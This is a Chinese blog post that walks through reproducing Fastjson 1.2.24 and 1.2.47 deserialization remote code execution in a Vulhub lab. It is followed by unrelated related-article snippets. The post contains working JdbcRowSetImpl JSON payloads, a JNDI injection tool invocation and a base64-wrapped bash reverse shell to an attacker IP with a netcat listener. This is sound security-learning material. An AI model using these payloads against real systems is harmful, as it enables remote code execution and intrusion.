fastjson(反序列化)漏洞复现

news2025/1/14 1:11:44

fastjson

1. 漏洞描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

2. fastjson_1.2.24反序列化导致任意命令执行漏洞

Vulhub - Docker-Compose file for vulnerability environment

2.1 环境搭建

image-20230908104527316

使用bp自带浏览器打开fastjson页面,并进行抓包发送重发器

image-20230908105405641

image-20230908105423482

将数据包转换为POST方式,并将类型转换为json格式

image-20230908110126952

这里就是提交一个JSON格式的数据转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

2.2 漏洞检测

使用burp扩展FastjsonScan进行漏洞检测

image-20230908111841714

来到虚拟机,新建文件夹

image-20230908112059141

下载完成后在bp中安装插件

image-20230908112242018

点击add后选择Java语言

image-20230908112441961

选择扩展文件

image-20230908112920053

点击next—>点击close然后FastjsonScan

image-20230908113117378

回到重发器,右击数据包点击扩展

image-20230908113554864

点击扩展后进行扫描,显示是否有漏洞并且给出漏洞的POC

image-20230908113842212

image-20230908114052582

{
"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://qjdu7ihzkpjrge30gi0bm7vh58byzn.oastify.com/aaa","autoCommit":true
}
}

将POC复制到POST数据包中的文件内容

image-20230908114442842

POC中有RMI,什么是RMI

RMI(Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网铬上的不同计算机中。
在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化,因此,可以将RMI服务作为进行反序列化利用链的触发点。

可以将RMI理解为http协议,Java可以通过类似于http协议的RMI协议远程外部加载类

那么在这个地方有反序列化的话,去远程加载一个类或一个资源,这个位置做反序列化的话相当于做了一个反序列化的注入或对象注入。

image-20230908120212528

2.3 构造RMI服务器

将工具下载到虚拟机中

proxychains git clone https://github.com/welk1n/JNDI-Injectio

image-20230908144939363

image-20230908145002135

编译生成target目录

mvn clean package -DskipTests

image-20230908151051253

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xu" -A "192.168.16.176"

image-20230908151652432

rmi://192.168.16.176:1099/ooy0mt

2.4 构造反弹shell脚本

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=

image-20230908160616130

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

将上述的代码在target目录下使用工具生成不同版本下的rmi和ldap

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

开启监听窗口

nc -lnvp 1234

image-20230908162640698

3. fastjson_1.2.47

3.1 环境搭建

image-20230908162954902

3.2 漏洞检测

使用bp抓包,发送重发器

image-20230908163614218

将数据提交方式改为POST请求,使用bp工具扫描漏洞

image-20230908163937009

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

3.3 构造RMI服务器

在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

image-20230908164751845

rmi://192.168.16.176:1099/v42n2k

image-20230908165415507

3.4 构造反弹shell

bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
将上述代码进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"

image-20230908165147576

打开监听窗口

nc -lnvp 1234

image-20230908165338092

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/998660.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件测试报告加盖和不加盖CMA/CNAS标识的区别有哪些?

一、CNAS是什么? “CNAS”是China National Accreditation Service for Conformity Assessment(ZG合格评定国家认可委员会)的英文缩写。zg合格评定国家认可委员会的规定,由国家认证认可监督管理委员会批准设立并授权的国家认可机…

在群晖上安装Nextcloud-AIO详解

本文是应网友 刘源 的要求折腾的; 什么是 Nextcloud AIO ? Nextcloud AIO 就是 Nextcloud All-in-One ,顾名思义就是一个 Nextcloud 的 All-in-One 版本,这是一个基于 Docker 的项目,它允许仅安装一个容器,…

苹果铃声怎么设置?3招教你设置个性化铃声!

苹果手机因其颜值、性能与生态吸引了一大批粉丝用户。在拿到新手机后,大家第一时间就是给手机设置好听的铃声。那么,苹果铃声怎么设置呢?手机铃声能设置成自己喜欢的歌曲吗?当然可以了!本文将给大家介绍3种轻松设置苹果…

文件上传16.17关

二次渲染-Pass-16 直接看源码: 我们还是按照13,14,15的思路进行上传:发现没有info信息了。 二次渲染的时候把码的信息给干掉了。怎么办呢? 把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将p…

轻松整理文件,让你的电脑更有条理!尝试按名称归类方法

文件管理是我们日常计算机使用中经常面临的一项任务。有时候,我们可能需要对电脑中大量的文件进行分类整理,而手动一个个处理无疑是繁琐且耗时的。为了提高效率,许多文件批量高手软件应运而生。 文件批量高手软件是一种能够按文件名称批量归…

常见气体摩尔体积

参考链接 固体和气体的摩尔体积 - 百度文库 (baidu.com) 特此记录 anlog 2023年8月7日

三维模型3DTILE格式轻量化压缩主要技术方法浅析

三维模型3DTILE格式轻量化压缩主要技术方法浅析 三维模型3DTILE格式轻量化压缩主要技术方法浅析 随着三维地理空间数据的应用日益广泛,为了更快速地传输和存储这些大规模数据,3DTile格式的轻量化压缩显得尤为重要。本文将浅析关于三维模型3DTile格式轻量…

快人一步进入智能新纪元,《新程序员006》来了!

文 | 王启隆 曾浩辰 出品 | 《新程序员》编辑部 亲爱的 CSDN 以及《新程序员》的读者朋友们,金秋将至,《新程序员006:人工智能新十年》也正式与大家见面!现在点击下方封面,即可订阅,立即阅读电子书。精美…

蓝皮书首发!车载毫米波雷达赛道进入「大变革周期」,技术/产品/市场并行升级

随着整车智能化进入普及周期,汽车制造商对传感器的需求正在激增,尤其是在辅助驾驶领域,不管是入门级L2,还是高阶NOA,毫米波雷达的单车搭载数量也在发生变化。 高工智能汽车研究院监测数据显示,2022年中国市…

java: 错误: 无效的源发行版:17 【解决】

文章目录 异常信息原因重新创建一个低版本springboot 异常信息 java: 错误: 无效的源发行版:17原因 windows 10本地 jdk8 pom.xml: springboot 3.1.3 versionjdk17 springboot版本的问题 springboot3.0 需要jdk17支持,如果没有安装jdk17 只需把sprin…

超级好用的css属性——clip-path

目录 基本概念 circle()函数 ellipse()函数 polygon()函数 path()函数 总结 clip-path是CSS3中的一个属性,用于在元素上创建一个裁剪区域,以显示元素的一部分。它允许您选择性地显示元素的某个部分,而隐藏其他部分。clip-path属性可以用…

4个维度讲透ChatGPT技术原理,揭开ChatGPT神秘技术黑盒!(文末送书)

🤵‍♂️ 个人主页:艾派森的个人主页 ✍🏻作者简介:Python学习者 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞&#x1f4…

要闻 |上海市测绘院一行领导莅临大势智慧考察交流

9月8日,上海市测绘院首席专家、博士后科研工作站站长顾建祥等一行莅临武汉大势智慧科技有限公司(后简称“大势智慧”)考察工作。大势智慧CEO黄先锋博士、CTO张帆博士等人陪同调研,并就新型基础测绘与实景三维上海建设展开座谈。 上…

京东API接口(商品详情页采集+关键词搜索商品列表):开启电商业务的新篇章

随着电子商务的飞速发展,京东作为国内领先的电商平台,提供了丰富的API接口,帮助开发者轻松集成电商功能,扩展业务范围。本文将介绍京东API接口的作用和价值,探讨适用场景,操作步骤,优势分析及应…

基于Linux的智能家居(工厂模式)

目录 1.项目概述 2.程序框架 3.函数准备 3.1需要函数知识点 3.2编码提醒 4.代码 5.注意事项 1.项目概述 控制端有两个,语音串口UART和Tcp通讯。 执行端有IO输出和IO输入。 2.程序框架 程序分为3部分-------------1.输入控制 2.输出设备 3.主函数-多线程…

【文末送书】Matlab科学计算

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab,机器人运动控制、多机器人协作,智能优化算法,滤波估计、多传感器信息融合,机器学习,人工智能等相关领域的知识和技术。关…

《Python入门到精通》time模块详解,Python time标准库,time库函数大全

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」:小白零基础《Python入门到精通》 time模块详解 1、获取操作time.time() 获取时间戳(float)time.time_ns() 获取时间戳(int)time.thread_time()…

03JVM_类加载

一、类加载与字节码技术 1.类文件结构 2.字节码指令 3.编译期处理 4.类加载阶段 5.类加载器 6.运行期优化 1.类文件结构 类文件结构 1.1 魔数magic 介绍 每个java class文件的前4个字节是魔数:0x CAFEBABE。魔数作用在于分辨出java class文件和非java clas…

开学了,运营校园跑腿怎么样?

校园跑腿项目是当今市场上备受关注和追捧的一种新兴服务业。随着人们生活节奏的加快和需求多样化,校园跑腿项目在满足大众日常生活需求的同时也为创业者提供了巨大的商机。下面将从市场需求、竞争环境和发展前景三个方面,对校园跑腿项目的现状进行分析&a…

Unity实现2D游戏跟随摄像机(平滑移动)

文章目录 玩家角色脚本字段跟随逻辑 完整代码其他相关文章连接 玩家角色 首先创建一个可用的玩家角色,写好移动逻辑,如果要使用在Unity商店中购买的资源,可以点击Window菜单栏> Package Manager选项,来打开Package Manager窗口…